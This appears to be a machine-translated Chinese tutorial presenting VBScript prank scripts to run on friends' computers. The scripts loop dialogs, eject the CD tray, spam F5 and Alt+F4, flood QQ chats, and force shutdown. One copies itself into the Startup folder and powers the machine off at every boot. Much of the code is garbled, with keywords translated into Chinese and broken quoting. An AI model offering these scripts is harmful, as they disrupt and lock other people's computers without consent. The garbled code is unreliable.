vbs脚本(vbs)

2022-06-10 16:57:23田君奇
导读 大家好,精选小编来为大家解答以上问题。vbs脚本,vbs很多人还不知道,现在让我们一起来看看吧!1、(大神请跳到第五步):2、写vbs?有多简单

大家好,精选小编来为大家解答以上问题。vbs脚本,vbs很多人还不知道,现在让我们一起来看看吧!

1、 (大神请跳到第五步):

2、 写vbs?有多简单创建一个新的“文本文档”,输入它,点击文件-另存为-重命名它为“代码。vbs".这个文件名并不重要,重要的是后缀是”。vbs".

3、 双击保存的文件:code。vbs,和一个对话框将弹出。把这个小代码写下来,去同学家拿它开玩笑。当然,你也可以输入其他有趣的单词。

4、 当然,这样的恶搞是不够的。让我们来一个无限循环。输入图中的代码,并将其保存为vbs格式。双击。此时会弹出提示对话框,点击确定和关闭按钮后,又会弹出窗口,此循环无法正常关闭。

5、 那么怎么才能关闭呢?只需打开任务管理器并结束进程""

6、 等这个新手教完了,我们去大神教室吧。

7、 -

8、 set wmp=createobject(' WM player . ocx ')

9、 set CD=wmp . cdrom collection . item(0)

10、 做

11、 cd .弹出

12、 环

13、 -

14、 无限语音从1计数到无穷大。

15、 -

16、 set s=CreateObject(' SAPI . sp voice ')

17、 i=0

18、 做

19、 我会说英语吗

20、 i=i 1

21、 环

22、 -

23、 小心,这样刷新很难打开任务管理器,只能拔下电源。

24、 -

25、 set ws=createobject(' wscript . shell ')

26、 做

27、 ws . sendkeys“{ F5 }”

28、 环

29、 -

30、 -

31、 出错时继续下一步

32、 set wr=createobject(' scripting . file system object ')

33、 set ws=createobject(' wscript . shell ')

34、 set f=wr . getfile(wscript . script full name)

35、 q=ws . regread(' HKEY _当前_用户\软件\微软\ Windows \当前版本\资源管理器\外壳文件夹\启动')

36、 如果不是f='Win32。vbs' then wr . copy file f,q'\Win32。vbs,真的

37、 ws . run“shut down-p”,vbhide

38、 -

39、 打开你朋友的聊天对话框,然后写下聊天对话框的名字(如图:肖敏),在下面的代码中替换肖敏。代码中的“10”代表发送次数。您可以通过修改10来自定义向您的朋友发送QQ消息的数量。只要“复制”发送的内容,当你打开本vbs,你会粘贴和发送剪贴板中的内容。

40、 -

41、 出错时继续下一步

42、 嗯,是吗

43、 set wsh=createobject(' wscript . shell ')

44、 对于i=1到10

45、 wscript.sleep 700

46、 哇哦。AppActivate(“肖敏”)

47、 '^v'发送键

48、 wsh .发送键I

49、 wsh . sendkeys“% s”

50、 然后

51、 wscript.quit

52、 -

53、 -

54、 昏暗的WSHshell

55、 设置wsh shell=wscript . createobject(' wscript . shell ')

56、 WSHshell.run 'shutdown -f -s -t 00 ',0,true

57、 -

58、 打开并关闭任何程序。

59、 -

60、 昏暗的WSHshell

61、 设置wsh shell=wscript . createobject(' wscript . shell ')

62、 做

63、 wscript.sleep 2500

64、 WSHshell。发送键“%{F4}”

65、 环

66、 -

67、 开玩笑要有度,不要什么都过分。上面的代码规模不是很大,可以玩玩。

本文到此结束,希望对大家有所帮助。

免责声明:本文由用户上传,如有侵权请联系删除!